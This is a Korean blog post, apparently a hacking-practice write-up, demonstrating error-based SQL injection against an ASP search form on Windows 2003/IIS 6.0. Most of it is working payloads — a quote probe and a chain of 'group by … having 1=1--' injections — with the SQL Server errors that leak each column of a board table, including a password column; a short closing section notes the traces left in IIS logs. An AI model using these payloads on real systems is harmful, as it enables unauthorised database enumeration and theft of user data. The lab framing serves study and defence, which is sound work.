[해킹보안] 창과 방패 끝없는 전쟁

[ 경 고 문 ]


해당 게시물은 해킹 기법에 관한 유해한 정보를 포함하고 있습니다.

기술을 실제 서버나 남의 홈페이지에 공격하는 것은 명백한 범법행위이며,

사이버수사대의 추적을 받을 수도 있다는 것을 알려 드립니다. 해당 게시물은

학습차원에서 공유하는 것이므로, 사고에 대한 모든 책임은 작성자에게는 없으며

해킹 기술을 행한 블랙해커에게 있음을 알려 드립니다.


해당 경고문을 열람했다는 것은 이에 동의한 것으로 간주 드립니다.




ㅁ Blind SQL Injection 실습


*실습환경

- Windows 2003 서버

- IIS 6.0





*전제 조건

- 검색 폼에 Injection이 있다는 전제하에 실습



attack: 검색 폼(창)에 인젝션 쿼리를 넣어가며 공격


목표: 싱글쿼터를 입력하여 SQL Injection 취약점이 있는지 확인하여,


취약점이 있을시, union, Order by, having 구문을 이용하여 DB 테이블, 컬럼 따기




* 검색폼에 싱글쿼터 입력해서 SQL Injection 취약점 유무 체크










* 아래와 비슷한 에러 메시지가 발생한다면 SQL Injection 취약점이 있다고 판단할 수 있음








* 이제 검색폼에 취약점이 있다는 것을 알았으니, DB 테이블명, 컬럼명 추출을 시도하자.










* 첫번째 having 구문으로 공격시 DB 테이블명과 컬럼명이 획득 됨.









attack




' having 1=1--


1번째 테이블명, 컬럼명 따기

Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47


설명:  having 구문으로 'board_qna(테이블명).info_idx(컬럼명)'을 얻었다. 계속 대입해 가며, 전체 컬럼명을 따자(획득하자)




2번째 컬럼명 따기

' group by board_qna.info_idx having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.mem_id' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




3번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_ref' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




4번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_level' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




5번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_step' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




6번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_name' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




7번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_title' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




8번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14'

'board_qna.info_content' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




9번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_pwd' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




10번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_file' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




11번째 컬럼명 따기


' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd, board_qna.info_file having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_hits' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




12번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd, board_qna.info_file, board_qna.info_hits having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_day' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




13번째 컬럼명 입력시, 상이한 에러 메시지 발생!!!

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd, board_qna.info_file, board_qna.info_hits, board_qna.info_day having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

text, ntext 및 image 데이터 형식은 IS NULL 또는 LIKE 연산자를 함께 사용할 때를 제외하고 비교하거나 정렬할 수 없습니다.

/board/board_list.asp, line 47 





ㅁ DB 구조 확인

  - 아래 그림과 같이 DB 스키마를 확인해 보았더니, Injection 공격시 추출한 DB 테이블명, 컬럼명과 정확히 일치하는 것이 확인 되었다.

 

 

 

 

 



ㅁ 해킹 추적

  - 웹 서버 내에 있는 웹로그에서 SQL Injection 공격시, 웹로그가 남은 것을 확인할 수 있었다. (500에러 발생)

      . 웹로그 경로: C:\Windows\System32\LogFiles\W3SVC

 




'보안 실습' 카테고리의 다른 글

관리자 페이지 공격 및 웹로그 분석  (0) 2016.12.25
Reverse telnet 공격 실습  (0) 2016.01.14